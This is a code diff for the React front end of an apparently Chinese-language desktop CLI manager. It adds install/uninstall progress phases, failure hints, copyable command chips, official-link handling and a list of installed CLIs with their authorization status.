>
|
||||
<div className="catalog-card-top">
|
||||
<CliMonogram id={entry.id} name={entry.name} size={40} />
|
||||
<div className="catalog-card-head">
|
||||
<div className="catalog-card-name">{entry.name_zh}</div>
|
||||
<div className="catalog-card-vendor">{entry.vendor}</div>
|
||||
{filtered.map((entry) => {
|
||||
const detect = detectMap[entry.id];
|
||||
const installed = detect?.status === "installed";
|
||||
return (
|
||||
<article
|
||||
className="catalog-card"
|
||||
key={entry.id}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
onClick={() => onOpenDetail(entry.id)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter" || e.key === " ") {
|
||||
e.preventDefault();
|
||||
onOpenDetail(entry.id);
|
||||
}
|
||||
}}
|
||||
>
|
||||
<div className="catalog-card-top">
|
||||
<CliMonogram id={entry.id} name={entry.name} size={40} />
|
||||
<div className="catalog-card-head">
|
||||
<div className="catalog-card-name">{entry.name_zh}</div>
|
||||
<div className="catalog-card-vendor">{entry.vendor}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="catalog-card-desc">官方渠道安装 · 全平台支持</p>
|
||||
<div className="catalog-card-bottom">
|
||||
<StatusBadge kind="uninstalled" label="未安装" />
|
||||
<span className="catalog-platforms">Windows · Linux</span>
|
||||
</div>
|
||||
</article>
|
||||
))}
|
||||
<p className="catalog-card-desc">官方渠道安装 · 全平台支持</p>
|
||||
<div className="catalog-card-bottom">
|
||||
{installed ? (
|
||||
<span className="catalog-version">
|
||||
<StatusBadge kind="installed" label="已安装" />
|
||||
{detect?.version && <MonoChip>{detect.version}</MonoChip>}
|
||||
</span>
|
||||
) : (
|
||||
<StatusBadge kind="uninstalled" label={detecting ? "检测中…" : "未安装"} />
|
||||
)}
|
||||
<span className="catalog-platforms">Windows · Linux</span>
|
||||
</div>
|
||||
{updates[entry.id]?.update_available && (
|
||||
<div className="catalog-update">
|
||||
可更新 {updates[entry.id].latest}(依据 {updates[entry.id].source_zh})
|
||||
</div>
|
||||
)}
|
||||
</article>
|
||||
);
|
||||
})}
|
||||
{!loading && filtered.length === 0 && (
|
||||
<p className="panel-empty catalog-empty">没有符合条件的 CLI</p>
|
||||
<p className="panel-empty catalog-empty">
|
||||
{status === "update" && checkingUpdates ? "正在查询官方源最新版本…" : "没有符合条件的 CLI"}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
import { useEffect, useMemo, useRef, useState } from "react";
|
||||
import { useEffect, useRef, useState, type ReactNode } from "react";
|
||||
import {
|
||||
ArrowLeft,
|
||||
BookOpen,
|
||||
Check,
|
||||
ChevronDown,
|
||||
CircleHelp,
|
||||
ClipboardList,
|
||||
Copy,
|
||||
Loader2,
|
||||
ShieldAlert,
|
||||
Terminal,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useCliDetail } from "../hooks/useCliDetail";
|
||||
import { diagnose, onCliAction, previewAction, runAction } from "../ipc";
|
||||
import { diagnose, onCliAction, openExternal, previewAction, runAction } from "../ipc";
|
||||
import type {
|
||||
ActionEvent,
|
||||
Adapter,
|
||||
@@ -20,6 +22,7 @@ import type {
|
||||
DetectResult,
|
||||
DiagnosticReport,
|
||||
DryRunPlan,
|
||||
ErrorHint,
|
||||
} from "../ipc/types";
|
||||
import { CliMonogram } from "../components/CliMonogram";
|
||||
import { MonoChip } from "../components/MonoChip";
|
||||
@@ -35,6 +38,12 @@ const TABS: { key: Tab; label: string }[] = [
|
||||
{ key: "diag", label: "诊断" },
|
||||
];
|
||||
|
||||
type RunPhase = "prepare" | "exec" | "verify";
|
||||
|
||||
type RunOutcome =
|
||||
| { status: "success"; action: CliAction; detect: DetectResult | null }
|
||||
| { status: "failed"; action: CliAction; message: string; hint: ErrorHint | null };
|
||||
|
||||
/** 授权状态灯(§3.3:已授权=绿、未授权=紫、可能过期=黄呼吸、未知=灰) */
|
||||
function AuthLight({ auth }: { auth: AuthStatus | null }) {
|
||||
if (!auth) return <span className="status-dot unknown" aria-hidden="true" />;
|
||||
@@ -83,14 +92,24 @@ function detectLabel(d: DetectResult | null): string {
|
||||
}
|
||||
}
|
||||
|
||||
export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }) {
|
||||
export function CliDetailPage({
|
||||
id,
|
||||
onBack,
|
||||
onInstallRuntime,
|
||||
}: {
|
||||
id: string;
|
||||
onBack: () => void;
|
||||
onInstallRuntime?: (runtime: string) => void;
|
||||
}) {
|
||||
const { adapter, detect, auth, loading, error, refresh } = useCliDetail(id);
|
||||
const [tab, setTab] = useState<Tab>("overview");
|
||||
const [confirm, setConfirm] = useState<{ action: CliAction; plan: DryRunPlan } | null>(null);
|
||||
const [running, setRunning] = useState(false);
|
||||
const [runTitle, setRunTitle] = useState("");
|
||||
const [log, setLog] = useState<ActionEvent[]>([]);
|
||||
const logEndRef = useRef<HTMLDivElement | null>(null);
|
||||
const [phase, setPhase] = useState<RunPhase>("prepare");
|
||||
const [outcome, setOutcome] = useState<RunOutcome | null>(null);
|
||||
const currentActionRef = useRef<CliAction>("install");
|
||||
|
||||
const installed = detect?.status === "installed";
|
||||
|
||||
@@ -102,14 +121,19 @@ export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }
|
||||
const ev = payload.event;
|
||||
if (ev.kind === "done") {
|
||||
setRunning(false);
|
||||
setPhase("verify");
|
||||
const d = (ev.data as DetectResult | null) ?? null;
|
||||
setOutcome({ status: "success", action: currentActionRef.current, detect: d });
|
||||
void refresh();
|
||||
return;
|
||||
}
|
||||
if (ev.kind === "error") {
|
||||
setRunning(false);
|
||||
setLog((l) => [...l, { kind: "error", message: ev.message, data: null }]);
|
||||
const hint = (ev.data as ErrorHint | null) ?? null;
|
||||
setOutcome({ status: "failed", action: currentActionRef.current, message: ev.message, hint });
|
||||
return;
|
||||
}
|
||||
if (ev.phase) setPhase(ev.phase as RunPhase);
|
||||
setLog((l) => [...l, ev]);
|
||||
}).then((fn) => {
|
||||
unlisten = fn;
|
||||
@@ -117,10 +141,6 @@ export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }
|
||||
return () => unlisten?.();
|
||||
}, [id, refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: "smooth" });
|
||||
}, [log]);
|
||||
|
||||
async function openConfirm(action: CliAction) {
|
||||
const plan = await previewAction(id, action);
|
||||
setConfirm({ action, plan });
|
||||
@@ -129,13 +149,22 @@ export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }
|
||||
async function confirmRun() {
|
||||
if (!confirm) return;
|
||||
const action = confirm.action;
|
||||
currentActionRef.current = action;
|
||||
setConfirm(null);
|
||||
setRunning(true);
|
||||
setOutcome(null);
|
||||
setPhase("prepare");
|
||||
setLog([]);
|
||||
setRunTitle(action === "install" ? "正在安装" : action === "uninstall" ? "正在卸载" : "正在执行");
|
||||
await runAction(id, action);
|
||||
}
|
||||
|
||||
function closeRun() {
|
||||
setRunning(false);
|
||||
setOutcome(null);
|
||||
setLog([]);
|
||||
}
|
||||
|
||||
if (loading) {
|
||||
return <p className="panel-empty">加载中…</p>;
|
||||
}
|
||||
@@ -220,8 +249,8 @@ export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }
|
||||
</nav>
|
||||
|
||||
<section className="cli-detail-body">
|
||||
{tab === "overview" && <OverviewTab adapter={adapter} detect={detect} />}
|
||||
{tab === "config" && <ConfigForm id={id} />}
|
||||
{tab === "overview" && <OverviewTab adapter={adapter} detect={detect} auth={auth} />}
|
||||
{tab === "config" && <ConfigForm id={id} onAuthChanged={refresh} canTestConnection={adapter.authorization?.test != null} />}
|
||||
{tab === "docs" && <DocsTab adapter={adapter} />}
|
||||
{tab === "diag" && <DiagTab id={id} />}
|
||||
</section>
|
||||
@@ -246,32 +275,166 @@ export function CliDetailPage({ id, onBack }: { id: string; onBack: () => void }
|
||||
</Modal>
|
||||
)}
|
||||
|
||||
{/* 流式执行日志弹窗 */}
|
||||
{running && (
|
||||
<Modal title={`${runTitle} ${adapter.name_zh}…`} footer={null}>
|
||||
<div className="run-log" aria-live="polite">
|
||||
{log.length === 0 && (
|
||||
<div className="run-log-wait">
|
||||
<Loader2 size={16} strokeWidth={1.5} className="spin" aria-hidden="true" />
|
||||
正在启动命令…
|
||||
</div>
|
||||
)}
|
||||
{log.map((l, i) => (
|
||||
<div key={i} className={`run-log-line ${l.kind}`}>
|
||||
{l.kind === "step" ? <ClipboardList size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
{l.kind === "stdout" ? <Terminal size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
{l.kind === "stderr" ? <ShieldAlert size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
<span>{l.message}</span>
|
||||
</div>
|
||||
))}
|
||||
<div ref={logEndRef} />
|
||||
</div>
|
||||
{/* 流式执行日志弹窗(安装/卸载全程可见:步骤进度 + stdout/stderr + 终态) */}
|
||||
{(running || outcome) && (
|
||||
<Modal
|
||||
title={outcome ? `${runTitle} ${adapter.name_zh} · ${outcome.status === "success" ? "完成" : "失败"}` : `${runTitle} ${adapter.name_zh}…`}
|
||||
onClose={running ? undefined : closeRun}
|
||||
footer={
|
||||
running ? null : (
|
||||
<button type="button" className="btn btn-primary" onClick={closeRun}>
|
||||
完成
|
||||
</button>
|
||||
)
|
||||
}
|
||||
>
|
||||
<RunBody phase={phase} log={log} outcome={outcome} onInstallRuntime={onInstallRuntime} />
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** 执行进度三阶段(准备 / 执行 / 复检) */
|
||||
function PhaseSteps({ phase }: { phase: RunPhase }) {
|
||||
const steps: { key: RunPhase; label: string }[] = [
|
||||
{ key: "prepare", label: "准备" },
|
||||
{ key: "exec", label: "执行" },
|
||||
{ key: "verify", label: "复检" },
|
||||
];
|
||||
const order: Record<RunPhase, number> = { prepare: 0, exec: 1, verify: 2 };
|
||||
const cur = order[phase];
|
||||
return (
|
||||
<div className="run-phases" aria-label="安装进度">
|
||||
{steps.map((s, i) => (
|
||||
<div key={s.key} className={`run-phase ${i < cur ? "done" : i === cur ? "active" : ""}`}>
|
||||
<span className="run-phase-dot">{i < cur ? "✓" : i + 1}</span>
|
||||
<span className="run-phase-label">{s.label}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function RunBody({
|
||||
phase,
|
||||
log,
|
||||
outcome,
|
||||
onInstallRuntime,
|
||||
}: {
|
||||
phase: RunPhase;
|
||||
log: ActionEvent[];
|
||||
outcome: RunOutcome | null;
|
||||
onInstallRuntime?: (runtime: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="run-body">
|
||||
<PhaseSteps phase={phase} />
|
||||
<div className="run-log" aria-live="polite">
|
||||
{log.length === 0 && !outcome && (
|
||||
<div className="run-log-wait">
|
||||
<Loader2 size={16} strokeWidth={1.5} className="spin" aria-hidden="true" />
|
||||
正在启动命令…
|
||||
</div>
|
||||
)}
|
||||
{log.map((l, i) => (
|
||||
<div key={i} className={`run-log-line ${l.kind}`}>
|
||||
{l.kind === "step" ? <ClipboardList size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
{l.kind === "stdout" ? <Terminal size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
{l.kind === "stderr" ? <ShieldAlert size={13} strokeWidth={1.5} aria-hidden="true" /> : null}
|
||||
<span>{l.message}</span>
|
||||
</div>
|
||||
))}
|
||||
<div ref={useAutoScroll(log)} />
|
||||
</div>
|
||||
{outcome?.status === "success" && (
|
||||
<div className="run-result success">
|
||||
<Check size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
<span>
|
||||
{outcome.action === "install" ? "安装成功" : outcome.action === "uninstall" ? "卸载完成" : "执行完成"}
|
||||
</span>
|
||||
{outcome.detect?.status === "installed" && (
|
||||
<span className="run-result-version">
|
||||
已安装 {outcome.detect.version ?? ""}
|
||||
{outcome.detect.executable ? ` · ${outcome.detect.executable}` : ""}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{outcome?.status === "failed" && (
|
||||
<FailureResult outcome={outcome} onInstallRuntime={onInstallRuntime} />
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** 失败态:默认展示人话版建议;原始报错折叠保留;缺失运行时给内联「去安装」按钮(联动本机环境一键装) */
|
||||
function FailureResult({
|
||||
outcome,
|
||||
onInstallRuntime,
|
||||
}: {
|
||||
outcome: { status: "failed"; action: CliAction; message: string; hint: ErrorHint | null };
|
||||
onInstallRuntime?: (runtime: string) => void;
|
||||
}) {
|
||||
const [showRaw, setShowRaw] = useState(false);
|
||||
const hint = outcome.hint;
|
||||
return (
|
||||
<div className="run-result failed run-failure">
|
||||
<div className="run-failure-head">
|
||||
<ShieldAlert size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
<span>{hint?.friendly_zh ?? outcome.message}</span>
|
||||
</div>
|
||||
{hint?.missing_runtime && onInstallRuntime && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary run-failure-action"
|
||||
onClick={() => onInstallRuntime(hint.missing_runtime!)}
|
||||
>
|
||||
去安装 {runtimeLabel(hint.missing_runtime)}
|
||||
</button>
|
||||
)}
|
||||
{hint?.raw && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="link-btn run-failure-toggle"
|
||||
onClick={() => setShowRaw((v) => !v)}
|
||||
>
|
||||
原始报错 {showRaw ? "收起" : "展开"}
|
||||
</button>
|
||||
{showRaw && <pre className="run-failure-raw">{hint.raw}</pre>}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function runtimeLabel(runtime: string): string {
|
||||
switch (runtime) {
|
||||
case "node":
|
||||
return "Node.js";
|
||||
case "python":
|
||||
return "Python";
|
||||
case "git":
|
||||
return "Git";
|
||||
case "winget":
|
||||
return "winget";
|
||||
case "uv":
|
||||
return "uv";
|
||||
default:
|
||||
return runtime;
|
||||
}
|
||||
}
|
||||
|
||||
/** 自动滚动到底部(把 ref 挂在日志末尾) */
|
||||
function useAutoScroll(dep: unknown) {
|
||||
const ref = useRef<HTMLDivElement | null>(null);
|
||||
useEffect(() => {
|
||||
ref.current?.scrollIntoView({ behavior: "smooth" });
|
||||
}, [dep]);
|
||||
return ref;
|
||||
}
|
||||
|
||||
function ConfirmBody({ plan, action }: { plan: DryRunPlan; action: CliAction }) {
|
||||
return (
|
||||
<div className="confirm-body">
|
||||
@@ -320,8 +483,34 @@ function ConfirmBody({ plan, action }: { plan: DryRunPlan; action: CliAction })
|
||||
);
|
||||
}
|
||||
|
||||
function OverviewTab({ adapter, detect }: { adapter: Adapter; detect: DetectResult | null }) {
|
||||
function OverviewTab({
|
||||
adapter,
|
||||
detect,
|
||||
auth,
|
||||
}: {
|
||||
adapter: Adapter;
|
||||
detect: DetectResult | null;
|
||||
auth: AuthStatus | null;
|
||||
}) {
|
||||
const channels = adapter.install?.channels ?? [];
|
||||
const authModes = adapter.authorization?.modes ?? [];
|
||||
const platforms: string[] = [];
|
||||
if (adapter.platforms?.windows) platforms.push("Windows");
|
||||
if (adapter.platforms?.linux) platforms.push("Ubuntu");
|
||||
|
||||
const rows: { label: string; value: ReactNode }[] = [
|
||||
{ label: "厂商", value: adapter.vendor },
|
||||
{ label: "版本", value: detect?.version ? <MonoChip>{detect.version}</MonoChip> : detectLabel(detect) },
|
||||
{ label: "路径", value: detect?.executable ? <MonoChip>{detect.executable}</MonoChip> : "—" },
|
||||
{ label: "授权状态", value: auth ? auth.detail_zh : "—" },
|
||||
{ label: "支持平台", value: platforms.length > 0 ? platforms.join(" · ") : "—" },
|
||||
{
|
||||
label: "授权方式",
|
||||
value: authModes.length > 0 ? authModes.map((m) => authModeLabel(m.mode)).join(" / ") : "—",
|
||||
},
|
||||
{ label: "适配器版本", value: adapter.adapter_version ?? "—" },
|
||||
];
|
||||
|
||||
return (
|
||||
<div className="detail-overview">
|
||||
<div className="detail-block">
|
||||
@@ -330,6 +519,19 @@ function OverviewTab({ adapter, detect }: { adapter: Adapter; detect: DetectResu
|
||||
{adapter.documentation?.quickstart_zh ?? "参见官方文档。"}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">基本信息</h3>
|
||||
<dl className="detail-meta">
|
||||
{rows.map((r) => (
|
||||
<div key={r.label} className="detail-meta-row">
|
||||
<dt className="detail-meta-label">{r.label}</dt>
|
||||
<dd className="detail-meta-value">{r.value}</dd>
|
||||
</div>
|
||||
))}
|
||||
</dl>
|
||||
</div>
|
||||
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">安装渠道</h3>
|
||||
{channels.length === 0 ? (
|
||||
@@ -346,6 +548,31 @@ function OverviewTab({ adapter, detect }: { adapter: Adapter; detect: DetectResu
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">官方链接</h3>
|
||||
<div className="detail-links">
|
||||
{adapter.official?.homepage && (
|
||||
<a
|
||||
className="detail-link"
|
||||
href={adapter.official.homepage}
|
||||
onClick={(e) => { e.preventDefault(); void openExternal(adapter.official!.homepage!); }}
|
||||
>
|
||||
官方主页
|
||||
</a>
|
||||
)}
|
||||
{adapter.official?.docs && (
|
||||
<a
|
||||
className="detail-link"
|
||||
href={adapter.official.docs}
|
||||
onClick={(e) => { e.preventDefault(); void openExternal(adapter.official!.docs!); }}
|
||||
>
|
||||
官方文档
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{detect && detect.status !== "installed" && detect.status !== "not_installed" && (
|
||||
<div className="detail-block detail-note">
|
||||
<CircleHelp size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
@@ -356,10 +583,75 @@ function OverviewTab({ adapter, detect }: { adapter: Adapter; detect: DetectResu
|
||||
);
|
||||
}
|
||||
|
||||
function authModeLabel(mode: string): string {
|
||||
switch (mode) {
|
||||
case "browser_oauth":
|
||||
return "浏览器授权";
|
||||
case "device_code":
|
||||
return "设备码";
|
||||
case "api_key":
|
||||
return "API Key";
|
||||
case "local_tui":
|
||||
return "本机终端授权";
|
||||
default:
|
||||
return mode;
|
||||
}
|
||||
}
|
||||
|
||||
/** 可复制命令块(Wave 3.1 Req 9):hover 高亮 + 点击复制 + 复制成功轻提示 */
|
||||
function CopyableCommand({ text }: { text: string }) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
async function copy() {
|
||||
try {
|
||||
await navigator.clipboard.writeText(text);
|
||||
} catch {
|
||||
const ta = document.createElement("textarea");
|
||||
ta.value = text;
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
document.execCommand("copy");
|
||||
document.body.removeChild(ta);
|
||||
}
|
||||
setCopied(true);
|
||||
window.setTimeout(() => setCopied(false), 1500);
|
||||
}
|
||||
return (
|
||||
<button type="button" className="command-copy" onClick={copy} title="点击复制命令" aria-label={`复制命令 ${text}`}>
|
||||
<MonoChip>{text}</MonoChip>
|
||||
{copied ? (
|
||||
<span className="command-copied">
|
||||
<Check size={12} strokeWidth={1.5} aria-hidden="true" /> 已复制
|
||||
</span>
|
||||
) : (
|
||||
<Copy size={12} strokeWidth={1.5} aria-hidden="true" />
|
||||
)}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function DocsTab({ adapter }: { adapter: Adapter }) {
|
||||
const doc = adapter.documentation;
|
||||
const docUrl = adapter.official?.docs;
|
||||
return (
|
||||
<div className="detail-docs">
|
||||
{doc?.quickstart_zh && (
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">快速开始</h3>
|
||||
<p className="detail-block-text">{doc.quickstart_zh}</p>
|
||||
</div>
|
||||
)}
|
||||
{doc?.install_zh && (
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">安装说明</h3>
|
||||
<p className="detail-block-text">{doc.install_zh}</p>
|
||||
</div>
|
||||
)}
|
||||
{doc?.auth_zh && (
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">授权说明</h3>
|
||||
<p className="detail-block-text">{doc.auth_zh}</p>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">
|
||||
<BookOpen size={14} strokeWidth={1.5} aria-hidden="true" /> 常用命令
|
||||
@@ -370,13 +662,26 @@ function DocsTab({ adapter }: { adapter: Adapter }) {
|
||||
<ul className="detail-commands">
|
||||
{doc!.commands!.map((c) => (
|
||||
<li key={c.cmd} className="detail-command">
|
||||
<MonoChip>{c.cmd}</MonoChip>
|
||||
<CopyableCommand text={c.cmd} />
|
||||
{c.desc_zh && <span className="detail-command-desc">{c.desc_zh}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{(doc?.params ?? []).length > 0 && (
|
||||
<div className="detail-block">
|
||||
<h3 className="detail-block-title">常用参数</h3>
|
||||
<ul className="detail-commands">
|
||||
{doc!.params!.map((p) => (
|
||||
<li key={p.param} className="detail-command">
|
||||
<CopyableCommand text={p.param} />
|
||||
{p.desc_zh && <span className="detail-command-desc">{p.desc_zh}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{(doc?.risks_zh ?? []).length > 0 && (
|
||||
<div className="detail-block detail-note">
|
||||
<ShieldAlert size={14} strokeWidth={1.5} aria-hidden="true" />
|
||||
@@ -387,11 +692,20 @@ function DocsTab({ adapter }: { adapter: Adapter }) {
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{adapter.official?.homepage && (
|
||||
<div className="detail-block detail-block-text">
|
||||
官方主页:<MonoChip>{adapter.official.homepage}</MonoChip>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-block detail-doc-footer">
|
||||
{docUrl && (
|
||||
<a
|
||||
className="detail-link"
|
||||
href={docUrl}
|
||||
onClick={(e) => { e.preventDefault(); void openExternal(docUrl); }}
|
||||
>
|
||||
官方文档原文
|
||||
</a>
|
||||
)}
|
||||
<span className="detail-doc-meta">
|
||||
适配器版本 {adapter.adapter_version ?? "—"} · 文档更新 {doc?.updated_at ?? "—"}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -437,7 +751,7 @@ function DiagTab({ id }: { id: string }) {
|
||||
if (error) return <p className="panel-empty">诊断失败:{error}</p>;
|
||||
if (!report) return null;
|
||||
|
||||
const findings = useMemo(() => report.findings, [report]);
|
||||
const findings = report.findings;
|
||||
|
||||
return (
|
||||
<div className="diag-result">
|
||||
|
||||
@@ -1,20 +1,107 @@
|
||||
import { SquareTerminal } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { ChevronRight, SquareTerminal } from "lucide-react";
|
||||
import { useCatalog } from "../hooks/useCatalog";
|
||||
import { useDetectAll } from "../hooks/useDetectAll";
|
||||
import { authStatus } from "../ipc";
|
||||
import { CliMonogram } from "../components/CliMonogram";
|
||||
import { MonoChip } from "../components/MonoChip";
|
||||
import type { AuthStatus } from "../ipc/types";
|
||||
import type { PageKey } from "../components/Sidebar";
|
||||
|
||||
/** 我的 CLI(PRD §7):版本 / 路径 / 授权状态。空态按 v1.3 §3.7。 */
|
||||
export function MyCliPage({ onNavigate }: { onNavigate: (p: PageKey) => void }) {
|
||||
/** 单个已安装 CLI 的授权状态(懒加载) */
|
||||
function AuthBadge({ id }: { id: string }) {
|
||||
const [auth, setAuth] = useState<AuthStatus | null>(null);
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
authStatus(id)
|
||||
.then((a) => {
|
||||
if (!cancelled) setAuth(a);
|
||||
})
|
||||
.catch(() => {});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [id]);
|
||||
|
||||
if (!auth) return <span className="mycli-auth">授权状态检测中…</span>;
|
||||
const ok = auth.status === "authorized";
|
||||
return (
|
||||
<div className="placeholder-page">
|
||||
<div className="placeholder-icon">
|
||||
<SquareTerminal size={40} strokeWidth={1.5} aria-hidden="true" />
|
||||
<span className="mycli-auth">
|
||||
<span className={ok ? "status-dot ok" : "status-dot unknown"} aria-hidden="true" />
|
||||
{ok ? "已授权" : "未授权"}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/** 我的 CLI(PRD §7):展示已安装列表(版本 / 路径 / 授权状态)。空态按 v1.3 §3.7。 */
|
||||
export function MyCliPage({
|
||||
onNavigate,
|
||||
onOpenDetail,
|
||||
}: {
|
||||
onNavigate: (p: PageKey) => void;
|
||||
onOpenDetail: (id: string) => void;
|
||||
}) {
|
||||
const { entries } = useCatalog();
|
||||
const { detectMap, loading } = useDetectAll();
|
||||
|
||||
const installed = entries.filter((e) => detectMap[e.id]?.status === "installed");
|
||||
|
||||
if (loading) {
|
||||
return <p className="panel-empty">检测已安装的 CLI…</p>;
|
||||
}
|
||||
|
||||
if (installed.length === 0) {
|
||||
return (
|
||||
<div className="placeholder-page">
|
||||
<div className="placeholder-icon">
|
||||
<SquareTerminal size={40} strokeWidth={1.5} aria-hidden="true" />
|
||||
</div>
|
||||
<h2 className="placeholder-title">还没有安装任何 CLI</h2>
|
||||
<p className="placeholder-desc">
|
||||
安装后,这里会展示每个 CLI 的版本、路径与授权状态。
|
||||
</p>
|
||||
<button type="button" className="btn btn-primary" onClick={() => onNavigate("catalog")}>
|
||||
去 CLI 目录看看
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="mycli">
|
||||
<div className="panel mycli-list">
|
||||
<div className="panel-head">
|
||||
<h2 className="panel-title">已安装的 CLI({installed.length})</h2>
|
||||
</div>
|
||||
{installed.map((entry) => {
|
||||
const d = detectMap[entry.id];
|
||||
return (
|
||||
<button
|
||||
key={entry.id}
|
||||
type="button"
|
||||
className="mycli-row"
|
||||
onClick={() => onOpenDetail(entry.id)}
|
||||
>
|
||||
<CliMonogram id={entry.id} name={entry.name} size={36} />
|
||||
<div className="mycli-row-main">
|
||||
<span className="mycli-row-name">{entry.name_zh}</span>
|
||||
{d?.version && (
|
||||
<span className="mycli-row-version">
|
||||
版本 <MonoChip>{d.version}</MonoChip>
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
{d?.executable && (
|
||||
<span className="mycli-row-path">
|
||||
<MonoChip>{d.executable}</MonoChip>
|
||||
</span>
|
||||
)}
|
||||
<AuthBadge id={entry.id} />
|
||||
<ChevronRight size={16} strokeWidth={1.5} className="mycli-row-arrow" aria-hidden="true" />
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
<h2 className="placeholder-title">还没有安装任何 CLI</h2>
|
||||
<p className="placeholder-desc">
|
||||
安装后,这里会展示每个 CLI 的版本、路径与授权状态。
|
||||
</p>
|
||||
<button type="button" className="btn btn-primary" onClick={() => onNavigate("catalog")}>
|
||||
去 CLI 目录看看
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
+387
-122
@@ -1,12 +1,24 @@
|
||||
import { useState } from "react";
|
||||
import { Activity, Archive, Lock, Plus, ScanSearch } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { Activity, Archive, Cpu, Download, Loader2, Lock, Plus, ScanSearch } from "lucide-react";
|
||||
import { useEnv } from "../hooks/useEnv";
|
||||
import { useCatalog } from "../hooks/useCatalog";
|
||||
import { useDetectAll } from "../hooks/useDetectAll";
|
||||
import { diagnoseAll, diagnoseSystem } from "../ipc";
|
||||
import type {
|
||||
CatalogEntry,
|
||||
DetectResult,
|
||||
DiagnosticReport,
|
||||
PlatformEnv,
|
||||
RuntimeInfo,
|
||||
RuntimeStatus,
|
||||
SystemEnvReport,
|
||||
} from "../ipc/types";
|
||||
import { KpiCard } from "../components/KpiCard";
|
||||
import { MonoChip } from "../components/MonoChip";
|
||||
import { StatusBadge } from "../components/StatusBadge";
|
||||
import { CliMonogram } from "../components/CliMonogram";
|
||||
import type { PlatformEnv, RuntimeInfo, RuntimeStatus, CatalogEntry } from "../ipc/types";
|
||||
import { Modal } from "../components/Modal";
|
||||
import { RuntimeInstallModal } from "../components/RuntimeInstallModal";
|
||||
import type { PageKey } from "../components/Sidebar";
|
||||
|
||||
/** 平台相关运行时集合(Windows 不看 apt,Linux 不看 winget) */
|
||||
@@ -29,34 +41,34 @@ function runtimeProblems(env: PlatformEnv): { name: string; info: RuntimeInfo }[
|
||||
function runtimeMeta(status: RuntimeStatus): {
|
||||
dot: string;
|
||||
missingText: string | null;
|
||||
needsGuide: boolean;
|
||||
needsInstall: boolean;
|
||||
} {
|
||||
switch (status) {
|
||||
case "installed":
|
||||
return { dot: "status-dot ok", missingText: null, needsGuide: false };
|
||||
return { dot: "status-dot ok", missingText: null, needsInstall: false };
|
||||
case "not_installed":
|
||||
return { dot: "status-dot unknown", missingText: "未检测到", needsGuide: true };
|
||||
return { dot: "status-dot unknown", missingText: "未检测到", needsInstall: true };
|
||||
case "not_in_path":
|
||||
return { dot: "status-dot warn breathe", missingText: "不在 PATH", needsGuide: false };
|
||||
return { dot: "status-dot warn breathe", missingText: "不在 PATH", needsInstall: false };
|
||||
case "permission_denied":
|
||||
return { dot: "status-dot warn breathe", missingText: "无访问权限", needsGuide: false };
|
||||
return { dot: "status-dot warn breathe", missingText: "无访问权限", needsInstall: false };
|
||||
case "exec_failed":
|
||||
return { dot: "status-dot warn breathe", missingText: "执行失败", needsGuide: false };
|
||||
